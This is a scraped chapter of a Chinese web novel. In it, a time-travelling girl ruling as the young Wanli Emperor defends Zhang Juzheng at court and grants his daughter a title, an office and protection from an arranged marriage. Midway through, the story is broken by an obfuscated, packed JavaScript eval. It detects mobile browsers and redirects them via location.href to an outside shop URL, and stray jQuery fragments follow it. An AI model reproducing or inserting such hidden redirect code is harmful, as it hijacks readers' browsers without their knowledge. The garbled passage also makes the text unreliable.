默认冷灰
24号文字
方正启体

8. 朕听老师的

作者:江上绾本书字数:K更新时间:
    早朝上,考成法推行一个月,终于有人忍不住了。


    一个给事中出列。跪在地上,声音里带着委屈:“陛下,不是臣不办。下头人办不了,臣也不能自己去催啊!”


    朱翊钧歪着头,一脸天真,眨了眨眼:“难办?“她看看那个官员,又看看张居正,一脸困惑:“朕以为,当官就是替百姓办事的。办不好,那还当什么官?”她顿了顿,声音不大,但每个字都清楚:“难办,那你们说,什么不难办?收税难,赈灾难,治河也难——那要你们做什么?”


    殿里安静了一瞬。那个官员张了张嘴,说不出话,额头冒汗。


    又一人越班而出,伏在地上,声音里带着愤懑与惶急:“陛下,元辅把六部都管了,这朝廷到底是姓朱还是姓张?”


    朱翊钧眨了眨眼,看向张居正,又看向那个官员:“张先生是朕的老师。朕听老师的,有什么不对?你们小时候不听老师的话吗?”


    那人脸色一变,立刻跪下:“臣不敢。”伏地叩首,周身颤抖。


    一个老臣颤颤巍巍站出来,颤声伏奏:“陛下,太祖皇帝在天上看着呢!改了他的规矩,他怎么安心?”


    朱翊钧皱了皱眉,语气有点不耐烦:“祖宗也想天下太平。”她顿了顿,声音拔高了一点,厉声道:“现在天下不太平,改一改有什么不对?”


    她转头看向张居正,语气又软下来:“张先生,你说对不对?”


    张居正出列,躬身,声音沉稳:“臣以为,天下之本,以实为要。为苍生计便是不负祖宗。”


    殿里彻底安静了。没人再说话,只有衣袂微动的轻响。


    退朝后,朱翊钧坐在龙椅上,面上不动声色,眼神平静地看着百官退去。心里已经翻了个白眼。


    她在心里说:就知道会这样。考成法这时候阻力最大,千万不能让张先生孤立。


    小万历原先是长大了才反张先生,我现在就把信任焊死。


    谁骂张先生,她表面不懂,心里记小本本 。


    那天讲完经,张居正正要起身告退,朱翊钧突然叫住他:“先生。”


    张居正站住,回身,神色稍缓:“陛下还有何疑问?”


    朱翊钧低着头,声音很轻:“先生,外面有人说你不好。”


    张居正没说话。望着她,神色静而不冷。


    朱翊钧抬起头,看着他:“但朕知道,先生心怀苍生,为了大明甘愿得罪天下人。”


    张居正目光轻轻落在她头顶,静了一瞬,躬身:“臣……谢陛下。”


    他的声音有一丝不易察觉的低哑。


    那天去给太后请安,李太后放下枣汤,看着她:“皇帝,听说朝中有人弹劾张先生?”


    朱翊钧点头:“有。但儿臣都留中了。”


    太后没说话。佛珠停转。


    朱翊钧低头,声音闷闷的:“张先生于国事最是用心。别人都不及张先生,就说先生不好。”


    她抬起头,认真地说:“儿臣不爱听。”


    太后看着她,沉默了很久。碗里的热气慢慢散了。


    最后只说了一句:“皇帝长大了。”


    这天早朝快结束时,朱翊钧突然开口,“朕有一件事,要告诉诸位。”


    百官抬头,屏息静听。


    “以前奏章送来,朕也看不太懂。”她语气漫不经心,像在说一件很普通的事,“以后不必送朕了,先给张先生。他看了,拟好票拟,朕再批。先生觉得好,朕就准。”


    殿里安静了一瞬。连百官的呼吸声都轻了。


    张居正出列,撩袍跪倒,深深一揖:“臣,领旨。”


    张居正回到内阁值房,一个人坐着。窗外的光斜斜照进来。


    他想起早朝时,那个小皇帝眨着眼说:“当官就是替百姓办事的。办不好,那还当什么官?”


    想起她说:“张先生是朕的老师。朕听老师的,有什么不对?你们小时候不听老师的话吗?”


    他在心里说:这孩子,是在用她的方式护着他 。


    他低下头,继续批奏折。


    但嘴角,微微扬了一下。


    张府书房里,张敬正在温书备考。


    相府大管家游七进来通报:“大公子,外头吏部稽勋司李郎中来访,自称江陵同乡晚辈,特地来拜望。


    带了端砚两方、宋版书一部,说是聊表同乡之谊。现在花厅奉茶,静候传见。奴才瞧着,是为京察求稳。”


    张敬修放下书,皱了皱眉。这已经是这个月第五个了——锦衣卫的、东厂的、六部的,还有他不认识的。


    他起身,整了整衣裳,走出去。


    李郎中已经在前厅坐着,见他出来,立刻站起来,满脸堆笑:“张公子,久仰久仰。下官新得了一部宋版《资治通鉴》,想着公子读书用得上,特地送来。”


    张敬修看了一眼那本书,确实是好书。但他知道,这书不是白送的。


    他笑了笑,语气客气不失礼貌:“李大人太客气了。这书太贵重,晚生不敢收。”


    李郎中连忙摆手:“不贵重不贵重。公子是首辅之子,将来必是朝廷栋梁。下官只是略表心意。”


    张敬修没说话。他在心里说:这些人,巴结的不是他,是他爹。


    他最终还是没收那本书,只是请李郎中喝了杯茶,客气地送走了。


    回到书房,他看着桌上的书,叹了口气。


    他在心里说:爹在前面挡枪,他在后面被人巴结。这日子,什么时候是个头?


    晚上,张敬修坐在书房里,盯着桌上的书,却怎么也看不进去。


    明年要参加会试。爹是大明首辅,他要是考不好,朝中那些人会怎么说?


    “权势再大,也压不住天理文运啊。”


    “这下看张家还怎么一手遮天。”


    他攥紧了笔。


    他在心里说:不能给爹丢脸。一定要考上。


    这天,朱翊钧去给太后请安,刚进西御憩房,就看见一个少女坐在太后身边。


    她低头行礼,声音轻柔:“臣女参见万岁爷。”


    朱翊钧愣了一下。


    太后见朱翊钧进来,笑了笑:“皇帝来了。这是张先生的女儿,你叫她姐姐就好。皇帝一个人读书闷,叫她过来伴读。”


    她在心里尖叫:这就是历史上那个张居正美若天仙的女儿?爱了爱了!


    她清了清嗓子,尽量让自己的声音听起来正常:“你叫什么名字?”


    张小姐轻声答:“臣女名唤张霁。小字晴初。”


    朱翊钧点头,没再说话。


    她想起史书上的记载


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441671|201054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ——张居正只有一个女儿,后来嫁给了刑部侍郎刘一儒的儿子刘戡之。


    终身不与刘戡之同衾,抑郁早逝。


    她在心里说:这一世,我不会让你嫁给不爱的人。


    你爹我救,你我也护。


    张居正让练字,朱翊钧故意把字写得歪歪扭扭,像蚯蚓在纸上爬。


    张霁写得字端正秀美。


    朱翊钧凑过去,压低声音:“霁姐姐,你字太好看了,显得我很不用功。”


    说完,趁张霁不注意,拿起她的笔,在她纸上画了一只小乌龟。


    张霁面无表情地看了她一眼,然后提起笔,在她纸上画了一只更大的乌龟,还加了眼睛和嘴巴。


    朱翊钧瞪大眼睛:“你……”


    张霁面无表情:“万岁爷画得太小了,臣女帮您画大点。”


    这时,张居正的声音从背后传来:“你们在画什么?”


    两人同时按住纸,异口同声:“没、没什么 !”


    张居正看着她们紧张的样子,沉默了一会儿,没走过来。


    两人对视一眼,低头偷笑。


    张霁走后,朱翊钧去了一趟文渊阁,找出一本《明史·职官志》,细细翻检。


    冯保在旁边看着,忍不住问:“万岁爷找什么?”


    朱翊钧头也不抬:“找爵位。封乡君要什么品级?”


    冯保愣了一下:“万岁爷要封谁?”


    朱翊钧:“张先生的女儿。朕想封她一个乡君,可以随时进宫。”


    冯保想了想:“万岁爷,外臣之女,按制最多封个淑人,是诰命,不是爵位。若要封乡君,那是宗室女才能封的……于礼不合。”


    朱翊钧皱眉:“那朕就封她乡君。朕是皇帝,朕说了算。”


    “再让她当尚宫。管朕的笔墨。”


    冯保:“万岁爷,尚宫是六尚之一,正五品……”


    朱翊钧:“正五品怎么了?朕觉得她行。拟旨。”


    冯保看着她,欲言又止。


    朱翊钧:“大伴想说什么?”


    冯保低头:“万岁爷,张小姐已经是伴读了,本来就随时可以进宫。奴婢只是觉得……万岁爷好像不只是想让她进宫。”


    朱翊钧沉默了一会儿。


    她放下手里的《明史》,看着冯保:“大伴,朕问你,功臣之女的婚事,归谁管?”


    冯保愣了一下:“按制,功臣之女婚嫁,由礼部和吏部备案,父母作主。若封了爵位或授了官职,则归吏部主管,礼部配合。”


    朱翊钧点头:“那朕再下旨,她的婚事,必须由朕赐婚。”


    冯保怔住了。


    他看着朱翊钧,若有所思。


    朱翊钧没说话,只是盯着桌案。


    她在心里说:这一世,她的婚事,朕说了算。


    她抬起头,语气随意,像在说一件很普通的事:


    “拟旨。内阁首辅张居正之女张霁,封乡君,授尚宫局司籍。加一条——其婚事,日后由皇帝亲自赐婚。旁人不得议婚,不得强配。违者,以抗旨论。”


    冯保低头:“奴婢遵旨。”


    他退出去。


    她在心里说:霁姐姐,朕给你封了爵,给了官职,还替你挡了婚事。朕能做的,都做了。剩下的,得你自己选了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)